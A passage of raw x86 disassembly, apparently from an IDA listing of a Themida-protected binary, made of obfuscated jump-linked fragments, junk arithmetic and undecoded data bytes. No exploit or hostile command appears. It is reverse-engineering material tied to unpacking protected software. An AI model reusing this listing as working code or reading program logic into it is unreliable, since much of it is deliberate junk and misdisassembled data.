		mov	ecx, 14B41B09h
		sub	ecx, 6AB53416h
		add	ecx, 6A35361Bh
		add	ecx, 0F7C31D26h
		sub	esi, 0E3515CFh
		sub	esi, ecx
		jmp	loc_556CAD
; ---------------------------------------------------------------------------
		db 2Ch,	26h, 0E9h
		dd 0FFFF0109h, 5A7BEF81h, 0DF016050h, 5A7BC781h, 335B6050h
		dd 3C31243Ch, 28E8E924h, 0EB800000h, 0E3C38080h, 0FFC5BAE9h
		dd 241C87FFh, 0E88E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564C26:				; CODE XREF: Themida_:00563CD6j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		push	ecx
		mov	ecx, 1E01278h
		mov	eax, 0FE1FED8Ch
		add	eax, ecx
		pop	ecx
		jmp	loc_560B56
; ---------------------------------------------------------------------------

loc_564C44:				; CODE XREF: Themida_:00558DFBj
		push	2665h
		jmp	loc_555671
; ---------------------------------------------------------------------------

loc_564C4E:				; CODE XREF: Themida_:0055B74Bj
		mov	ecx, esp
		jmp	loc_55D8BA
; ---------------------------------------------------------------------------
		db 68h,	0F4h, 32h
		dd 28E90000h, 5CFFFF0Dh, 53C68h, 242C8900h, 0C5815D54h
		dd 4, 516568h, 24348900h, 0FF12D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564C7D:				; CODE XREF: Themida_:00559020j
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_5587A0
; ---------------------------------------------------------------------------

loc_564C8B:				; CODE XREF: Themida_:00559166j
		mov	[esp], ebx
		mov	ebx, 55862257h
		sub	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 41957078h
		sub	eax, ecx
		jmp	loc_56769C
; ---------------------------------------------------------------------------

loc_564CAB:				; CODE XREF: Themida_:0055966Ej
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	edx, [esp]
		pop	esp
		push	5EC4h
		mov	[esp], esi
		mov	esi, 6EB40139h
		shl	esi, 8
		add	esi, 4BFEC704h
		jmp	loc_55D52A
; ---------------------------------------------------------------------------
		dd 4532E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564CDA:				; CODE XREF: Themida_:00567BB2j
		dec	edi
		dec	edi
		not	edi
		jmp	loc_561B41
; ---------------------------------------------------------------------------

loc_564CE3:				; CODE XREF: Themida_:0055FCBAj
		mov	esi, [esp]
		add	esp, 4
		xor	edx, edx
		push	4686h
		mov	[esp], ecx
		push	1F9h
		mov	[esp], edi
		push	19D3h
		jmp	loc_560DF1
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFFE49E9h, 0FC381FFh, 0E959F459h, 0FFFFD891h, 0EC83CB00h
		dd 0B12E904h, 3C8B0000h, 19B9E924h, 0BD550000h,	427828FDh
		dd 0D5E9EB01h, 5CFFFF40h, 3C40C781h, 0EF012883h, 3C40EF81h
		dd 33E92883h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564D4B:				; CODE XREF: Themida_:005658E2j
		mov	[esp], ebp
		mov	ebp, 0F1D1417h
		push	esi
		mov	esi, 245C1E68h
		add	ebp, 62080074h
		sub	ebp, esi
		sub	ebp, 62080074h
		mov	esi, [esp]
		push	esi
		jmp	loc_55E93B
; ---------------------------------------------------------------------------

loc_564D70:				; CODE XREF: Themida_:00559360j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55BCE3
; ---------------------------------------------------------------------------

loc_564D7D:				; CODE XREF: Themida_:00566F8Fj
		add	eax, 4
		jmp	loc_559244
; ---------------------------------------------------------------------------

loc_564D87:				; CODE XREF: Themida_:00552942j
		push	ecx
		pop	eax
		mov	ecx, [esp]
		jmp	loc_55D375
; ---------------------------------------------------------------------------

loc_564D91:				; CODE XREF: Themida_:0055569Ej
		mov	edi, 4BCD3E7Ah
		shl	edi, 8
		add	edi, 32C1861Ch
		push	ebp
		mov	ebp, edi
		mov	eax, ebp
		pop	ebp
		jmp	loc_5592C8
; ---------------------------------------------------------------------------

loc_564DAA:				; CODE XREF: Themida_:00559B17j
		or	edi, 1C4E0B01h
		push	ecx
		mov	ecx, 6FAC1C3Eh
		jmp	loc_5623D8
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 0FF78D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564DC9:				; CODE XREF: Themida_:005643B0j
		add	esp, 4
		add	bl, 4Bh
		push	ecx
		mov	cl, 30h
		jmp	loc_56563F
; ---------------------------------------------------------------------------

loc_564DDA:				; CODE XREF: Themida_:0055908Ej
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5629FE
; ---------------------------------------------------------------------------

loc_564DE5:				; CODE XREF: Themida_:00561335j
		mov	edi, 64FD49F1h
		xor	edi, 17615E98h
		sub	ecx, edi
		pop	edi
		jmp	loc_5654FA
; ---------------------------------------------------------------------------
		dd 0CE0080B1h, 2CBDE959h, 4268FFFFh, 5E25127Ah,	5F3CBF57h
		dd 0CF810490h, 28930847h, 0E53FEF81h, 0FE310780h, 83243C8Bh
		dd 0E98104C4h, 70546525h, 0C181F101h, 70546525h, 74FF515Eh
		dd 0E9590424h, 0FFFFB014h
; ---------------------------------------------------------------------------

loc_564E3C:				; CODE XREF: Themida_:0055FA6Bj
		add	esi, 0BFA611A3h
		mov	edx, esi
		jmp	loc_552CFF
; ---------------------------------------------------------------------------

loc_564E49:				; CODE XREF: Themida_:005599C3j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5619D2
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0FFFFC400h, 57240C8Bh, 0EC815F54h, 4, 0BA241489h
		dd 4, 148BD701h, 19E95524h, 87FFFF79h, 895C240Ch, 76E92404h
		dd 81FFFFD3h, 4C3h, 4C38300h, 0E9241C87h, 0FFFFDC18h, 0FF7DABBBh
		dd 5AD3316Ch, 0FFF8CEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564EA9:				; CODE XREF: Themida_:00563E82j
		pop	ecx
		push	ecx
		push	eax
		jmp	loc_55C110
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 4
		dd 0FFAC44E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564EB9:				; CODE XREF: Themida_:0055DF09j
		mov	[esp], esi
		push	71CFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_553968
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4FF2424h, 1FE99C24h,	31FFFED9h, 1C33241Ch, 24248B24h
		dd 24148966h, 0E99C5066h, 0FFFED90Ah
; ---------------------------------------------------------------------------

loc_564EF4:				; CODE XREF: Themida_:005623F7j
		xor	edi, eax
		pop	eax
		mov	ebp, edi
		jmp	loc_55B071
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 0C181E189h, 4, 0FF6195E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564F11:				; CODE XREF: Themida_:005627D4j
		mov	[esp], ebx
		jmp	loc_557695
; ---------------------------------------------------------------------------
		db 0BFh, 40h, 5Fh
		dd 0F8016A8Fh, 0FEFB5CE9h, 78CCB9FFh, 0E9C161BCh, 88E98104h
		dd 1061BC7h, 0BB5359CEh, 71A044A7h, 52DBF743h, 4465BF57h
		dd 0ADE952FDh, 0E9FFFF18h, 0FFFED8AEh, 549BBB53h, 5C0130D6h
		dd 5D5B0424h, 549BED81h, 895830D6h, 0DBE95DE9h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564F6B:				; CODE XREF: Themida_:0055F92Bj
		xor	dh, 0F5h
		inc	dh
		or	dh, 85h
		shl	dh, 4
		jmp	loc_55E8C2
; ---------------------------------------------------------------------------

loc_564F7B:				; CODE XREF: Themida_:00566CC9j
		not	ebx
		xchg	ebx, esi
		xor	esi, 43E452D5h
		push	edi
		mov	edi, 7EC37D8h
		or	esi, edi
		pop	edi
		jmp	loc_56555A
; ---------------------------------------------------------------------------
		db 68h
		dd 2779h, 0E9240489h, 0FFFFB4ABh, 0D159C831h, 0F7BCE9E8h
		dd 8B66FFFFh, 0B468240Ch, 89000068h, 0E6E9243Ch, 53FFFFDEh
		dd 7D7186BBh, 0D5CB8118h, 815A3C07h, 4FFA90EBh,	2343E956h
		dd 0C7810000h, 4, 47E9h, 0F7D0F700h, 0E76005D0h, 40E9F590h
		dd 0F7FFFFB4h, 3C8B241Ch, 4C48124h, 0F7000000h,	6E7C1D7h
		dd 0FFD4D2E9h, 81D7F7FFh, 833542E7h, 81D7F76Dh,	0A333F9C7h
		dd 6ECDE96Eh, 1433FFFFh, 24143124h, 0E9241433h,	1600h
		dd 4C781h, 3FE90000h, 50FFFF05h, 0D7C8E99Ch, 0EB81FFFEh
		dd 0BC02745h, 81E9D329h, 8BFFFF8Dh, 8B662424h, 0A682404h
		dd 89000004h, 0E955243Ch, 1CB2h, 4C381h, 0C3810000h, 4
		dd 0E9241C87h, 0FFFF417Ch
; ---------------------------------------------------------------------------

loc_56506C:				; CODE XREF: Themida_:00565B77j
		mov	ecx, 8486C50h
		mov	ebp, 398A0547h
		xor	ebp, ecx
		pop	ecx
		add	ebp, 23070A90h
		sub	esp, 4
		jmp	loc_565996
; ---------------------------------------------------------------------------
		db 89h
		dd 24348BF7h, 0FF4FFCE9h, 0E9685FFFh, 89000017h, 64E92414h
		dd 29FFFF2Ch, 24148BD3h, 5204C483h, 0B72575BAh,	5AD1290Ch
		dd 0C181D901h, 0CB72575h, 0FFBE25E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5650BD:				; CODE XREF: Themida_:005644B4j
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_561C39
; ---------------------------------------------------------------------------

loc_5650C8:				; CODE XREF: Themida_:0055F8E1j
		pop	esp
		mov	[esp], edi
		push	ebp
		push	eax
		push	ebx
		mov	ebx, 2D7357BFh
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55BF09
; ---------------------------------------------------------------------------
		dd 0EF80DFF6h, 4EEF808Dh, 88F88850h, 0FE5B58C6h, 0FED6F6CEh
		dd 46E952CEh, 81FFFFB5h, 6D5F11E9h, 2E1C158h, 0D9F18141h
		dd 1144860h, 0C20159CAh, 60E0EA81h, 68585C2Eh, 7134h, 0E9242C89h
		dd 0FFFFCBEBh
; ---------------------------------------------------------------------------

loc_565128:				; CODE XREF: Themida_:0055CA92j
		pop	ebx
		jmp	loc_55FB6E
; ---------------------------------------------------------------------------
		dw 5758h
		dd 61B9B850h, 89565AD5h, 5EF789C6h, 582434FFh, 5004C483h
		dd 5791BE56h, 0E6C10774h, 0D8E68106h, 816ECF49h, 6A25EEC6h
		dd 1D52E93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56515E:				; CODE XREF: Themida_:005601DAj
		mov	edx, 3C7C77h
		sub	edx, 3B7C77h
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	6F6Ah
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_557E24
; ---------------------------------------------------------------------------

loc_56517F:				; CODE XREF: Themida_:00555705j
		shl	ch, 1
		add	ch, 2Dh
		sub	al, ch
		pop	ecx
		sub	al, 0F4h
		jmp	loc_55FF4F
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 12A80DB8h, 0C181D929h, 12A80DB8h, 0E9CF015Bh, 0FFFF14FFh
; ---------------------------------------------------------------------------

loc_5651A4:				; CODE XREF: Themida_:00557AFDj
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		jmp	loc_55F34B
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 8
		dd 4406BE56h, 0E6C14391h, 6802h, 34290000h, 0E6C15E24h
		dd 6BCE8102h, 0E93DF734h, 0FFFF7D4Ah, 0E9E08950h, 0FFFF5CF8h
		dd 2984ED81h, 0DD011382h, 0E7D7E953h, 0E959FFFEh, 0FFFF8D12h
		dd 0E924148Bh, 0FFFEE443h, 68240C89h, 38CE7417h, 48C18159h
		dd 0E92367DFh, 2388h, 3340F281h, 0EB81FCD8h, 52DB1B90h
		dd 0FF7252E9h, 241431FFh, 0E9241433h, 0FFFF268Ch, 8108E2C1h
		dd 784F04F2h, 5AD001F7h, 405h, 24048700h, 0DC5EE95Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56524E:				; CODE XREF: Themida_:0055445Bj
		mov	[esp], ecx
		mov	ecx, 4
		push	964h
		mov	[esp], edi
		mov	edi, 489537D5h
		sub	edi, 41FE259Bh
		not	edi
		shr	edi, 2
		dec	edi
		shl	edi, 1
		sub	edi, 638F0F0Eh
		sub	ebx, edi
		pop	edi
		add	ebx, ecx
		add	ebx, 192567D2h
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_55A67B
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF35CEE9h, 243C89FFh, 0E953E789h, 1439h, 4E5DEE31h
		dd 1964F681h, 0E94E4417h, 0FFFF1108h
; ---------------------------------------------------------------------------

loc_5652B4:				; CODE XREF: Themida_:0056629Aj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_563FBE
; ---------------------------------------------------------------------------
		dd 592434FFh, 8704C483h, 248B2414h, 24148924h, 0FF4E8CE9h
		dd 4EC81FFh, 89000000h,	0E789243Ch, 4C781h, 0E9550000h
		dd 0FFFF563Ah, 246C0159h, 1EDAE904h, 0EE810000h, 671E13DCh
		dd 0BC28EE81h, 8156BA5Dh, 7B372404h, 815D150Bh,	0B7B37EDh
		dd 6EE95E15h, 89FFFF02h, 4BA2414h, 1000000h, 1C335AD3h
		dd 241C3124h, 8B241C33h, 48F2424h, 0A9E95C24h, 81FFFF78h
		dd 0B55848F2h, 0C4B5E9C5h, 6866FFFFh, 89664AC9h, 0F66240Ch
		dd 5166C8B6h, 0D4A0E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56535E:				; CODE XREF: Themida_:005621ACj
		push	edi
		mov	edi, 1FB01B19h
		mov	esi, edi
		jmp	loc_55759B
; ---------------------------------------------------------------------------
		db 29h
		dd 0BF575DEAh, 42703822h, 1EF5F781h, 0EFC1482Ah, 7586805h
		dd 14890000h, 43E3BA24h, 0D72979EFh, 8324148Bh,	0EC8104C4h
		dd 4, 0FFF041E9h, 81E789FFh, 4C7h, 15D0E900h, 0C483FFFFh
		dd 0D44CE904h, 48FFFFEh, 14895C24h, 81E28924h, 4ECh, 240C8900h
		dd 0FF4132E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5653C9:				; CODE XREF: Themida_:00553F5Bj
		pop	ebp
		push	edx
		jmp	loc_555273
; ---------------------------------------------------------------------------
		dd 4C781h, 0E9510000h, 0FFFF92EFh, 1B356857h, 3C8B416Bh
		dd 4C48124h, 55000000h,	0FFAA88E9h, 386859FFh, 89000037h
		dd 0E189240Ch, 4C181h, 0E9810000h, 4, 31240C33h, 0C33240Ch
		dd 0C895C24h, 53B8B524h, 8D3EE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56541E:				; CODE XREF: Themida_:0055626Aj
		pop	eax
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	eax, eax
		jmp	loc_5632A8
; ---------------------------------------------------------------------------
		db 81h
		dd 7E2D52EEh, 0F7295F3Fh, 0EDF7815Eh, 500A52Fh,	4C5326E9h
		dd 0BF57F829h, 4C5326E9h, 5F5FF829h, 4EC81h, 4890000h
		dd 48C1B824h, 0A93544A0h, 81176966h, 0F11493C6h, 81C62928h
		dd 0F11493EEh, 0C6015828h, 22A7B850h, 5335055Ah, 257DCA01h
		dd 52971863h, 0FFF716E9h, 0C0C8FEFFh, 792C05E8h, 0FFA53FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565499:				; CODE XREF: Themida_:00552B30j
		mov	[esp], ebx
		mov	ebx, 39EB095Ah
		xchg	edx, ebx
		neg	edx
		xchg	edx, ebx
		jmp	loc_560E79
; ---------------------------------------------------------------------------
		dd 1C64C181h, 8E95A8Ch,	49FFFF29h, 0BA52D9F7h, 6643392Bh
		dd 0D2F7DAF7h, 10846850h, 0E9580FC8h, 0FFFEEF25h, 4EC835Dh
		dd 57242C89h, 0FD89F789h, 5DE8895Fh, 204E9h, 4EFC000h
		dd 0E780C7FEh, 9086E9F9h, 5453FFFFh, 0B222E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5654FA:				; CODE XREF: Themida_:00564DF3j
		shl	ecx, 2
		sub	ecx, 0FFFFFFFFh
		add	ecx, 7436027h
		push	ecx
		jmp	loc_55B69C
; ---------------------------------------------------------------------------
		dd 15DEA31h, 2434FFD7h,	4C4835Ah, 0FF1948E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56551D:				; CODE XREF: Themida_:0055C5FAj
		xor	esi, 0C0CE1769h
		xor	eax, esi
		jmp	loc_5613D2
; ---------------------------------------------------------------------------
		dw 0CABBh
		dd 8164105Ch, 0BB6AC8C3h, 81DBF760h, 3F366EF3h,	0E9DE0136h
		dd 0FFFFDF3Bh, 3FD7BE56h, 0F7295C9Ah, 7AC7815Eh, 310A2AAAh
		dd 0ABB9E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56555A:				; CODE XREF: Themida_:00564F8Ej
		shr	esi, 3
		sub	esi, 4A2918BBh
		add	esi, 2C2941C2h
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5607CB
; ---------------------------------------------------------------------------
		db 49h
		dd 8104E9C1h, 0CC66B8F1h, 1AB6E921h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565586:				; CODE XREF: Themida_:0055B917j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5662BA
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0B68240Ch, 0E9000010h, 0FFFFE2E1h, 34FFD031h, 0E3685A24h
		dd 89000016h, 26E92404h, 0E9FFFF85h, 0FFFED246h, 8102E7C1h
		dd 0D1099EF7h, 62EF813Eh, 1D836F6h, 0EA835FFAh,	135AE904h
		dd 0C4830000h, 3770E904h, 1C33FFFFh, 0F05AE924h, 0EA81FFFFh
		dd 4, 5C241487h, 68241C89h, 49052891h, 51241C8Bh, 0C181E189h
		dd 4, 4B850h, 0C1010000h, 240C8758h, 0D9D8E95Ch, 0FF51FFFFh
		dd 59042474h, 0FF1EF5E9h, 4C481FFh, 1000000h, 0F27AE9F8h
		dd 34FFFFFFh, 0C4815D24h, 4, 28ABC781h,	6BE91EBEh
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56563F:				; CODE XREF: Themida_:00564DD5j
		sub	bl, cl
		pop	ecx
		jmp	loc_559FC7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 40504h, 7DE90000h, 89FFFF13h, 6850241Ch
		dd 35367765h, 11E50558h, 84E93BD4h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56566B:				; CODE XREF: Themida_:00558CA8j
		push	5F8Bh
		mov	[esp], edi
		push	esi
		mov	esi, 272B6AE4h
		mov	edi, esi
		pop	esi
		jmp	loc_55D85F
; ---------------------------------------------------------------------------

loc_565681:				; CODE XREF: Themida_:005550CBj
		pop	ebp
		pop	ebp
		jmp	loc_560C37
; ---------------------------------------------------------------------------
		dd 49240BB9h, 2525050Fh, 0D3E928C6h, 33FFFEDDh,	6BE92414h
		dd 5CFFFFC3h, 8B24048Fh, 34FF2424h, 24048B24h, 4C481h
		dd 0FA680000h, 0E9000030h, 0FFFF4DDAh, 48F368h,	24348900h
		dd 0BF57E689h, 653C49F4h, 5F02C781h, 0D7F733A4h, 39E2EF81h
		dd 0EF810295h, 121FB3CCh, 4E7C14Fh, 0FFB963E9h,	0E8D15EFFh
		dd 0B13C610Dh, 3A6C2D29h, 8F051BB8h, 1EFF87Bh, 1704E9C2h
		dd 3C890000h, 34FF5424h, 18E95F24h, 31FFFF46h, 243C8BFDh
		dd 4C481h, 0E9890000h, 8BC8215Dh, 0E4E9240Ch
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565727:				; CODE XREF: Themida_:005547BAj
		mov	[esp], ebp
		xor	dword ptr [esp], 7B50764Bh
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 7B50764Bh
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	1668h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 8153766h
		mov	ebx, ecx
		pop	ecx
		mov	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		push	5558h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esi, 16192D2Ah
		and	esi, 67B10A01h
		not	esi
		push	3A4h
		mov	[esp], ebx
		mov	ebx, 57E6394Dh
		shr	ebx, 2
		push	edi
		jmp	loc_55295F
; ---------------------------------------------------------------------------

loc_5657BA:				; CODE XREF: Themida_:005600B1j
		push	esp
		jmp	loc_5665B3
; ---------------------------------------------------------------------------

loc_5657C0:				; CODE XREF: Themida_:00553197j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		push	esi
		mov	esi, 515859DFh
		mov	edi, 54AD1356h
		jmp	loc_5576C9
; ---------------------------------------------------------------------------

loc_5657E1:				; CODE XREF: Themida_:00554BFAj
		xor	ecx, 2BE5441Ah
		shl	ecx, 2
		xor	ecx, 0F6BE7778h
		jmp	loc_554098
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 4C18159h, 50000000h, 4B8h,	8BC10100h, 0C4832404h
		dd 240C8704h, 4BA525Ch,	55000000h, 99BDh, 5DEE0168h, 0E953D601h
		dd 0FFFF7138h
; ---------------------------------------------------------------------------

loc_56582C:				; CODE XREF: Themida_:00558CB9j
		add	cl, al
		pop	eax
		jmp	loc_565E75
; ---------------------------------------------------------------------------
		dd 0B4240489h, 0C0ECD080h, 0F48607ECh, 0F486D6F6h, 0F43E9h
		db 0
; ---------------------------------------------------------------------------

loc_565849:				; CODE XREF: Themida_:00562992j
		mov	ebx, 1
		push	edx
		jmp	loc_556501
; ---------------------------------------------------------------------------

loc_565854:				; CODE XREF: Themida_:0055DA7Ej
		mov	[esp], edx
		mov	edx, 664F2817h
		push	ebp
		mov	ebp, 3DE83BE5h
		xchg	ecx, ebp
		inc	ecx
		xchg	ecx, ebp
		add	ebp, 57445851h
		jmp	loc_557A0C
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 34FF5D24h, 54555924h, 4C5815Dh, 81000000h, 4C5h, 242C8700h
		dd 5A24248Bh, 0BC1AE32Dh, 5E80148h, 48BC1AE3h, 55242C8Bh
		dd 0FF5B3EE9h, 4BE56FFh, 1000000h, 24348BF5h, 0FFD2D4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5658B5:				; CODE XREF: Themida_:0055DDE7j
		xor	edx, 2873FF9Ch
		and	edi, edx
		pop	edx
		jmp	loc_5603E6
; ---------------------------------------------------------------------------
		db 29h
		dd 0D604E9D7h, 34FFFFFFh, 0E9575824h, 0FFFF4536h, 3CE9F088h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5658DB:				; CODE XREF: Themida_:00552FD8j
		sub	eax, edx
		push	2E82h
		jmp	loc_564D4B
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E98006E9h, 8BCC28D2h, 0C481240Ch, 4, 0FFC845E9h, 4C483FFh
		dd 0FEEA5FE9h, 49D9F7FFh, 34B6F181h, 0CE011670h, 0FF01CBE9h
		dd 0CBE9ADFFh, 83FFFF10h, 48904ECh, 0D266E924h,	295AFFFEh
		dd 24348BF3h, 104C483h,	0D711E9CBh, 2C89FFFEh, 175DE924h
		dd 3C330000h, 243C3124h, 5C243C33h, 4C481h, 2CE90000h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565953:				; CODE XREF: Themida_:005549EBj
		push	edi
		mov	edi, esp
		push	edx
		push	eax
		push	47CB2250h
		pop	eax
		shl	eax, 6
		not	eax
		jmp	loc_55DD8C
; ---------------------------------------------------------------------------
		dd 88E9B652h, 24148BF4h, 8804C483h, 0EAC058E2h,	0B4506607h
		dd 66E22032h, 0B2525358h, 5E950FCh, 51FFFF59h, 553414B9h
		dd 0D297E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565996:				; CODE XREF: Themida_:00565082j
		mov	[esp], ebp
		sub	dword ptr [esp], 0FFFFFFFFh
		pop	ebp
		and	ebp, 686609EBh
		xor	ebp, 14301A44h
		add	ebp, 17C001C3h
		xor	edi, ebp
		mov	ebp, [esp]
		push	esi
		jmp	loc_55943D
; ---------------------------------------------------------------------------

loc_5659BE:				; CODE XREF: Themida_:0056489Fj
		push	ebx
		mov	ebx, 4
		mov	edx, ebx
		pop	ebx
		jmp	loc_55BCC8
; ---------------------------------------------------------------------------
		dd 0F53BE958h, 3489FFFEh, 58EE924h, 0EE81FFFFh,	0D497CA8h
		dd 2E1FEE81h, 68583B07h, 2332h,	0FF243489h, 0E9042474h
		dd 0FFFEE457h, 0F404E956h, 0D188FFFFh, 0E924148Bh, 0FFFF0B6Ch
		dd 1025E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565A0E:				; CODE XREF: Themida_:005552E1j
		add	[esp+4], edx
		sub	dword ptr [esp+4], 38667A36h
		pop	edx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_567286
; ---------------------------------------------------------------------------

loc_565A2C:				; CODE XREF: Themida_:0055DAE8j
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_558DB4
; ---------------------------------------------------------------------------

loc_565A35:				; CODE XREF: Themida_:0055DBF4j
		or	edi, 564F5F13h
		dec	edi
		xor	edi, 7C5D52AEh
		sub	eax, edi
		pop	edi
		push	eax
		push	edi
		push	edx
		push	68C17B7Bh
		mov	edx, [esp]
		add	esp, 4
		shr	edx, 4
		add	edx, 7794EDBh
		mov	edi, edx
		jmp	loc_55BA19
; ---------------------------------------------------------------------------

loc_565A66:				; CODE XREF: Themida_:0055407Dj
		add	esp, 4
		push	ebp
		push	ebx
		jmp	loc_554170
; ---------------------------------------------------------------------------

loc_565A70:				; CODE XREF: Themida_:00553465j
		mov	[esp], ebx
		push	ecx
		mov	cl, al
		mov	bh, cl
		pop	ecx
		not	bh
		mov	al, bh
		jmp	loc_562150
; ---------------------------------------------------------------------------

loc_565A82:				; CODE XREF: Themida_:00563A92j
		push	47E424D9h
		pop	ebp
		shl	ebp, 4
		sub	ebp, 1F1D0725h
		mov	ecx, ebp
		jmp	loc_55E901
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h, 4C48304h, 62E9D0F7h, 83FFFEE0h
		dd 0F00104C4h, 2055Eh, 0E5E90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565ABB:				; CODE XREF: Themida_:00566C45j
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5527FE
; ---------------------------------------------------------------------------

loc_565AC7:				; CODE XREF: Themida_:00558714j
		push	671D5590h
		mov	ebx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_555F62
; ---------------------------------------------------------------------------
		db 8Fh
		dd 7AE92404h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565ADF:				; CODE XREF: Themida_:00562432j
		xchg	ecx, edx
		sub	edx, 179B639Ah
		push	6892h
		jmp	loc_55A441
; ---------------------------------------------------------------------------
		db 54h,	59h, 56h
		dd 4BEh, 0E7E98100h, 1691027h, 0E7C181F1h, 5E691027h, 0FFB6B9E9h
		dd 4EC83FFh, 0FF9349E9h, 2BAFFh, 57500000h, 5E30D468h
		dd 0EFC15F4Ch, 0CAF78107h, 8111B902h, 8717FF7h,	8DEF815Eh
		dd 0E936747Eh, 0FFFF2821h, 158DB850h, 91BA3A66h, 293A6615h
		dd 766DE9C2h, 41BAFFFFh, 81549B47h, 6617BACAh, 21E95071h
		db 0D2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_565B5F:				; CODE XREF: Themida_:00552E1Aj
		add	ebx, 0D3DB3839h
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_553784
; ---------------------------------------------------------------------------

loc_565B72:				; CODE XREF: Themida_:00562904j
		shr	edi, 2
		push	ebp
		push	ecx
		jmp	loc_56506C
; ---------------------------------------------------------------------------

loc_565B7C:				; CODE XREF: Themida_:00553398j
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_562311
; ---------------------------------------------------------------------------
		dw 0BBh
		dd 81000000h, 0EE2550EBh, 57D30128h, 653821BFh,	56DFF705h
